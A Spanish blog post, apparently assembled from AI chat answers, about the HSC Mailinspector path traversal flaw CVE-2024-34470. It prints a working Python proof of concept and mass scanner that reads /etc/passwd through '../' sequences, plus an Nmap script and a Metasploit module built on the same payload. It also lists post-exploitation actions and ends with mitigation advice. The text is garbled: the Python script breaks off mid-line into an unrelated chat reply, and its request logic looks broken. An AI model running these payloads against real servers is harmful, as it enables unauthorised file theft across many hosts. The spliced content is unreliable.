CVE-2024-34470 Permite a un atacante leer archivos arbitrarios en el servidor.

CVE-2024-34470 Permite a un atacante leer archivos arbitrarios en el servidor.

Spread the love
Listen to this article
  • 🛡️ Vulnerabilidad: Path Traversal en HSC Mailinspector 5.2.17-3 a v.5.2.18
  • Descripción: Permite a un atacante leer archivos arbitrarios en el servidor.
  • Archivo Vulnerable: /public/loader.php
  • Impacto: No requiere autenticación; afecta la seguridad de la aplicación.
  • Acción del Atacante: Manipulación del parámetro ‘path’ para explorar el sistema de archivos.

Claro, aquí está la información condensada en forma de bulletpoints en español:

  • 🛡️ CVE-2024-34470 Detalle
  • Estado: A LA ESPERA DE ANÁLISIS
  • Vulnerabilidad pendiente de evaluación.
  • 📝 Descripción
  • Problema en HSC Mailinspector 5.2.17-3 a v.5.2.18.
  • Vulnerabilidad de recorrido de ruta no autenticada en /public/loader.php.
  • Permite lectura de archivos arbitrarios en el servidor.
  • 🔴 Severidad CVSS 4.0
  • NIST: Evaluación de NVD aún no proporcionada.
  • Análisis pendiente para asociar puntuaciones CVSS.
  • 🔗 Referencias y Recursos
  • Se proporciona enlace a GitHub para más detalles: CVE-2024-34470 en GitHub

Este resumen organiza la información clave de manera clara y concisa.

Descripción General

Este script es una prueba de concepto (PoC) y un escáner masivo para la vulnerabilidad CVE-2024-34470 en HSC Mailinspector. Esta vulnerabilidad permite la traversión de directorios, lo que puede conducir a un acceso no autorizado a archivos sensibles en el servidor afectado.

¿Qué es CVE-2024-34470?

CVE-2024-34470 es una vulnerabilidad de traversión de directorios en HSC Mailinspector. Esta vulnerabilidad permite a un atacante no autenticado acceder a archivos arbitrarios en el servidor, incluidos archivos sensibles como /etc/passwd.

¿Qué hace el exploit?

El exploit envía una solicitud HTTP maliciosa al servidor, tratando de acceder al archivo /etc/passwd. Si el servidor es vulnerable, devolverá el contenido de este archivo, indicando que es vulnerable a la traversión de directorios.

¿Cómo funciona el script?

  1. Imprime un banner: Muestra un banner en la consola para identificación visual.
  2. Crea un directorio de logs: Crea un directorio llamado logs para almacenar los resultados del escaneo.
  3. Define una carga útil (payload): Define una solicitud HTTP que intenta acceder al archivo /etc/passwd.
  4. Funciones:
  • banner(): Imprime el banner.
  • create_log_dir(): Crea el directorio de logs.
  • log_message(message): Registra mensajes en el archivo de log.
  • print_message(level, message): Imprime mensajes en la consola con diferentes colores según el nivel de log.
  • test_host(url): Envía la carga útil al URL objetivo y verifica si la respuesta indica vulnerabilidad.
  • worker(queue): Función de trabajador para threading que procesa URLs desde la cola.
  1. Función principal (main()): Analiza los argumentos de la línea de comandos, configura el directorio de logs y prueba un solo URL o múltiples URLs desde un archivo usando hilos (threads).

Uso

  1. Escaneo de un solo objetivo:
    Para escanear un solo objetivo, usa el siguiente comando:
   python cve-2024-34470.py -u http://ejemplo.com
  1. Escaneo masivo de objetivos:
    Para escanear múltiples objetivos listados en un archivo (targets.txt), usa:
   python cve-2024-34470.py -f targets.txt

Instalación

  1. Clonar el repositorio:
   git clone https://github.com/bigb0x/CVE-2024-34470.git
   cd CVE-2024-34470
  1. Instalar paquetes requeridos:
    Asegúrate de tener Python 3.6 o superior e instala la librería requests:
   pip install requests

Descargo de Responsabilidad

La herramienta se proporciona solo con fines educativos. El acceso no autorizado a sistemas sin permiso explícito es ilegal y poco ético. Usa esta herramienta de manera responsable y solo en sistemas que tienes autorización para probar.

Referencias

Script Completo en Español

Aquí está el script completo traducido al español:

“`python
import requests
import argparse
import threading
import queue
import os
from requests.exceptions import RequestException
import re
from datetime import datetime
import urllib3

Desactivar advertencias de SSL

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

Códigos de color ANSI

color_gris_claro = ‘\033[37;1m’
color_gris_atenuado = ‘\033[90m’
color_amarillo_miel = “\033[38;5;214m”
color_amarillo_atenuado = “\033[33;1m”
color_cian = ‘\033[96m’
color_verde = ‘\033[92m’
color_rojo = ‘\033[31m’
color_naranja_claro = ‘\033[38;5;214m’
reset_color = ‘\033[0m’

def banner():
print(f”””
{color_cian}
░█▀▀█ ░█──░█ ░█▀▀▀ ── █▀█ █▀▀█ █▀█ ─█▀█─ ── █▀▀█ ─█▀█─ ─█▀█─ ▀▀▀█ █▀▀█
░█─── ─░█░█─ ░█▀▀▀ ▀▀ ─▄▀ █▄▀█ ─▄▀ █▄▄█▄ ▀▀ ──▀▄ █▄▄█▄ █▄▄█▄ ──█─ █▄▀█
░█▄▄█ ──▀▄▀─ ░█▄▄▄ ── █▄▄ █▄▄█ █▄▄ ───█─ ── █▄▄█ ───█─ ───█─ ─▐▌─ █▄▄█

-> POC para la vulnerabilidad CVE-2024-34470
{reset_color}
“””)

Directorio y archivo de log

DIR_LOG = ‘logs’
ARCHIVO_LOG = os.path.join(DIR_LOG, ‘scan.log’)

Función para crear el directorio de log

def crear_dir_log():
if not os.path.exists(DIR_LOG):
os.makedirs(DIR_LOG)
imprimir_mensaje(‘info’, f”Directorio de log creado: {DIR_LOG}”)

Función para registrar mensajes en el log

def registrar_mensaje(mensaje):
with open(ARCHIVO_LOG, ‘a’) as archivo_log:
archivo_log.write(f”{datetime.now().strftime(‘%Y-%m-%d %H:%M:%S’)} – {mensaje}\n”)

Función para imprimir mensajes con colores ANSI

def imprimir_mensaje(nivel, mensaje):
if nivel == ‘info’:
print(f”{color_cian}[INFO] {mensaje}{reset_color}”)
elif nivel == ‘exito’:
print(f”{color_verde}[EXITO] {mensaje}{reset_color}”)
elif nivel == ‘advertencia’:
print(f”{color_amarillo_miel}[ADVERTENCIA] {mensaje}{reset_color}”)
elif nivel == ‘error’:
print(f”{color_rojo}[ERROR] {mensaje}{reset_color}”)
registrar_mensaje(mensaje)

Definir la carga útil (payload)

carga_util = (
“GET /mailinspector/public/loader.php?path=../../../../../../../etc/passwd HTTP/1.1\r\n”
“Host: {}\r\n”
“User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, como Gecko) “
“Chrome/70.0.3538.77 Safari/537.36\r\n\r\n”
)

Función para probar un solo host

def probar_host(url):
try:
nombre_host = url.split(‘//’)[1]
datos_solicitud = carga_util.format(nombre_host)
respuesta = requests.post(url, data=datos_solicitud, timeout=10, verify=False)

    if respuesta.status_code == 200 and 'root:' in respuesta.text:
        imprimir_mensaje('exito', f"Vulnerable: {url}")
    else:
        imprimir_mensaje('advertencia', f"No Vulnerable: {url}")
except RequestException as e:
    imprimir_mensaje('error', f"Timeout: {url}")

Función de trabajador para threading

def trabajador(cola):
while not cola.empty():
url = cola.get()
imprimir_mensaje(‘info’, f”Probando {url}”)
probar_host(url)
cola.task_done()

Función principal

def main():
banner()
parser = argparse.ArgumentParser(description=’Comprobar la vulnerabilidad CVE-2024-34470.’)
grupo = parser.add_mutually_exclusive_group(required=True)
grupo.add_argument(‘-u’, ‘–url’, help=’URL del objetivo (e.g., http://ejemplo.com)’)
grupo.add_argument(‘-f’, ‘–file’, help=’Archivo que contiene una lista de URLs (una por línea)’)

args = parser.parse_args()

crear_dir_log()

if args.url:
    imprimir_mensaje('info', f"Probando un solo objetivo: {args.url}")
    probar_host(args.url)
elif args.file:
    with open(args.file, 'r') as f:
        urls = [linea.strip() for linea in f if linea.strip()]

    imprimir_mensaje('info', f"Probando múltiples objetivos desde el archivo: {args.file}")

    cola_urls = queue.Queue()
    for url in urls:
        cola_urls.put(url)

    hilos = []
    for _ in range(10):  # Puedes ajustar el
Sí, es posible integrar este script en herramientas como Nmap y Metasploit. Aquí tienes los pasos para hacerlo:

### Integrar con Nmap

Para integrar el script con Nmap, puedes crear un script NSE (Nmap Scripting Engine). Aquí te muestro cómo hacerlo:

1. **Crear el script NSE**: Crea un archivo con extensión `.nse`, por ejemplo, `cve-2024-34470.nse`.

```lua
local shortport = require "shortport"
local http = require "http"
local stdnse = require "stdnse"
local nmap = require "nmap"

description = [[
Detecta la vulnerabilidad CVE-2024-34470 en HSC Mailinspector.
]]

author = "Tu Nombre"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln"}

portrule = shortport.http

action = function(host, port)
    local payload = "GET /mailinspector/public/loader.php?path=../../../../../../../etc/passwd HTTP/1.1\r\nHost: " .. host.ip .. "\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/70.0.3538.77 Safari/537.36\r\n\r\n"
    
    local response = http.simple_request(host, port, payload)
    
    if response and response.status == 200 and response.body and string.match(response.body, "root:") then
        return stdnse.format_output(true, "Vulnerable to CVE-2024-34470")
    else
        return stdnse.format_output(false, "Not Vulnerable")
    end
end
```

2. **Guardar y ejecutar el script**:

   Guarda el archivo en el directorio de scripts de Nmap, generalmente `scripts/` en la instalación de Nmap.

   ```sh
   sudo cp cve-2024-34470.nse /usr/share/nmap/scripts/
   ```

3. **Ejecutar Nmap con el nuevo script**:

   ```sh
   nmap --script cve-2024-34470 -p 80,443 <target>
   ```

### Integrar con Metasploit

Para integrar el script con Metasploit, necesitarás crear un módulo auxiliar de Metasploit.

1. **Crear el módulo auxiliar**: Crea un archivo Ruby, por ejemplo, `cve_2024_34470.rb`.

```ruby
require 'msf/core'
require 'net/http'

class MetasploitModule < Msf::Auxiliary
    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'HSC Mailinspector CVE-2024-34470',
            'Description'    => %q{
                This module exploits a directory traversal vulnerability in HSC Mailinspector.
            },
            'Author'         => [ 'Tu Nombre' ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'CVE', '2024-34470' ]
                ]
        ))

        register_options(
            [
                OptString.new('TARGETURI', [ true, 'The URI path', '/mailinspector/public/loader.php'])
            ])
    end

    def run
        uri = normalize_uri(target_uri.path)
        res = send_request_cgi({
            'method' => 'GET',
            'uri'    => "#{uri}?path=../../../../../../../etc/passwd"
        })

        if res && res.code == 200 && res.body.include?('root:')
            print_good("#{peer} is vulnerable to CVE-2024-34470")
            store_loot('cve-2024-34470', 'text/plain', datastore['RHOST'], res.body)
        else
            print_error("#{peer} is not vulnerable")
        end
    end
end
```

2. **Guardar y cargar el módulo en Metasploit**:

   Guarda el archivo en el directorio de módulos de Metasploit, generalmente `modules/auxiliary/scanner/http/`.

   ```sh
   sudo cp cve_2024_34470.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/http/
   ```

3. **Ejecutar el módulo en Metasploit**:

   Abre Metasploit y carga el módulo:

   ```sh
   msfconsole
   use auxiliary/scanner/http/cve_2024_34470
   set RHOSTS <target>
   set RPORT 80
   run
   ```

### Resumen

- Para **Nmap**, crea un script NSE y guárdalo en el directorio de scripts de Nmap.
- Para **Metasploit**, crea un módulo auxiliar en Ruby y guárdalo en el directorio correspondiente de Metasploit.

Estos pasos te permiten automatizar la detección de la vulnerabilidad CVE-2024-34470 utilizando herramientas de escaneo y explotación populares.
Si un atacante logra explotar la vulnerabilidad CVE-2024-34470 en HSC Mailinspector, podría tener acceso a información y capacidades críticas en el servidor afectado. Aquí te presento 25 cosas que el atacante podría hacer, destacando las más peligrosas:

### Acciones Críticas y Peligrosas

1. **Acceso a Contraseñas del Sistema**:
   - **Acceder al archivo `/etc/passwd`**: Puede contener información sobre los usuarios del sistema.
   - **Acceder al archivo `/etc/shadow`**: Contiene las contraseñas encriptadas de los usuarios.

2. **Escalada de Privilegios**:
   - **Intentar técnicas de escalada de privilegios** usando la información obtenida de los archivos del sistema.

3. **Acceso a Archivos de Configuración**:
   - **Leer archivos de configuración** para servicios como Apache, Nginx, MySQL, etc., que pueden contener credenciales y configuraciones críticas.

4. **Acceso a Claves SSH**:
   - **Robar claves privadas SSH** de usuarios para acceder a otros sistemas.

5. **Ejecutar Comandos Remotos**:
   - **Ejecutar comandos con privilegios elevados** si el archivo de configuración lo permite.

6. **Instalación de Backdoors**:
   - **Instalar puertas traseras (backdoors)** para mantener el acceso incluso después de que se haya parcheado la vulnerabilidad.

7. **Captura de Tráfico de Red**:
   - **Instalar software para espiar el tráfico de red** y capturar información sensible.

8. **Modificación de Archivos del Sistema**:
   - **Modificar archivos del sistema** para cambiar configuraciones críticas o instalar rootkits.

### Acciones Potencialmente Menos Críticas pero Igualmente Peligrosas

9. **Acceso a Datos de Usuarios**:
   - **Leer y modificar archivos personales de los usuarios** en el servidor.

10. **Acceso a Bases de Datos**:
    - **Acceder y exfiltrar datos de bases de datos** que pueden contener información confidencial.

11. **Defacement de Sitios Web**:
    - **Modificar el contenido de los sitios web** alojados en el servidor, incluyendo desfiguración de páginas.

12. **Creación de Nuevos Usuarios**:
    - **Agregar nuevos usuarios** al sistema con permisos elevados.

13. **Eliminación de Archivos**:
    - **Eliminar archivos importantes** causando pérdida de datos.

14. **Instalación de Malware**:
    - **Instalar malware** que puede propagarse a otros sistemas conectados.

15. **Acceso a Logs del Sistema**:
    - **Leer y modificar archivos de logs** para cubrir sus huellas.

16. **Alteración de Permisos de Archivos**:
    - **Cambiar permisos de archivos** para permitir acceso no autorizado.

17. **Uso de Recursos del Sistema**:
    - **Usar el servidor para minería de criptomonedas** o ataques DDoS (Distributed Denial of Service).

18. **Intercepción de Correos Electrónicos**:
    - **Acceder a configuraciones de correo** y espiar o redirigir correos electrónicos.

19. **Sabotaje de Servicios**:
    - **Desactivar o interrumpir servicios críticos** para la operación del servidor.

20. **Filtración de Información Sensible**:
    - **Exfiltrar documentos sensibles** que pueden ser usados para chantaje o venta.

21. **Uso del Servidor como Proxy**:
    - **Usar el servidor como proxy** para ocultar sus actividades maliciosas.

22. **Compromiso de Otros Sistemas en la Red**:
    - **Usar el servidor comprometido como punto de partida** para atacar otros sistemas en la misma red.

23. **Suplantación de Identidad**:
    - **Usar las credenciales robadas** para suplantar la identidad de usuarios legítimos.

24. **Alteración de Datos**:
    - **Modificar datos en bases de datos** o archivos, causando corrupción de datos.

25. **Acceso a Servicios Internos**:
    - **Acceder a servicios internos** que no están expuestos públicamente, aumentando el alcance del ataque.

### Resumen

Las acciones que un atacante puede llevar a cabo tras explotar esta vulnerabilidad varían en severidad, pero las más peligrosas incluyen el acceso a contraseñas del sistema, escalada de privilegios, ejecución remota de comandos, instalación de backdoors, y acceso a datos sensibles. Estas acciones pueden comprometer seriamente la integridad, confidencialidad y disponibilidad del sistema afectado y de otros sistemas conectados a la misma red.

Para asegurarte de que no te ataquen y corregir la vulnerabilidad CVE-2024-34470 en HSC Mailinspector, sigue estos pasos:

### 1. Actualizar HSC Mailinspector

La manera más efectiva de corregir la vulnerabilidad es actualizar HSC Mailinspector a la versión más reciente en la que se haya solucionado este problema. Consulta el sitio web oficial del proveedor o las notas de la versión para obtener la última actualización.

### 2. Aplicar Parches de Seguridad

Si el proveedor ha lanzado un parche específico para esta vulnerabilidad, aplícalo inmediatamente. Mantén tu software siempre actualizado con los últimos parches de seguridad.

### 3. Configurar el Servidor Adecuadamente

Asegúrate de que tu servidor web esté configurado correctamente para evitar ataques de path traversal:

- **Limita el acceso a archivos críticos**: Configura permisos adecuados para que solo los usuarios autorizados puedan acceder a archivos sensibles.
- **Desactiva el listado de directorios**: Configura tu servidor web para que no muestre el contenido de los directorios.
- **Implementa reglas de seguridad**: Usa un firewall de aplicaciones web (WAF) para detectar y bloquear intentos de path traversal.

### 4. Revisar Configuraciones de Seguridad

Revisa y ajusta las configuraciones de seguridad de tu servidor y aplicación web:

- **Validación y saneamiento de entradas**: Asegúrate de que todas las entradas del usuario sean validadas y saneadas correctamente.
- **Uso de rutas absolutas**: Evita el uso de rutas relativas en tu código, usa rutas absolutas cuando sea posible.

### 5. Monitorización y Detección

Implementa sistemas de monitorización y detección de intrusos (IDS/IPS) para identificar y responder rápidamente a actividades sospechosas:

- **Registros y auditorías**: Mantén registros detallados de acceso y errores para detectar patrones inusuales.
- **Herramientas de monitorización**: Usa herramientas de monitorización como OSSEC, Snort, o Suricata.

### 6. Realizar Pruebas de Seguridad

Realiza regularmente pruebas de seguridad para identificar y solucionar vulnerabilidades:

- **Pruebas de penetración**: Contrata servicios de pruebas de penetración para evaluar la seguridad de tu sistema.
- **Escaneos de vulnerabilidades**: Usa herramientas como OpenVAS, Nessus, o Qualys para escanear tu sistema en busca de vulnerabilidades.

### 7. Capacitación y Concienciación

Capacita a tu equipo en prácticas de seguridad y concienciación sobre ciberseguridad:

- **Capacitación regular**: Proporciona capacitación regular en ciberseguridad a tu equipo de TI.
- **Políticas de seguridad**: Implementa y comunica políticas de seguridad claras y efectivas.

### Resumen

1. **Actualiza** HSC Mailinspector a la última versión.
2. **Aplica parches** de seguridad.
3. **Configura adecuadamente** tu servidor.
4. **Revisa configuraciones** de seguridad.
5. **Monitorea** y detecta intrusos.
6. **Realiza pruebas** de seguridad regularmente.
7. **Capacita** a tu equipo en prácticas de seguridad.

Implementando estos pasos, podrás reducir significativamente el riesgo de ser atacado y corregir la vulnerabilidad CVE-2024-34470 si está presente en tu sistema.
0 0 votos
Article Rating
Suscribir
Notificar de
guest
0 Comments
Más antiguo
La mas nueva Más votado
Comentarios en línea
Ver todos los comentarios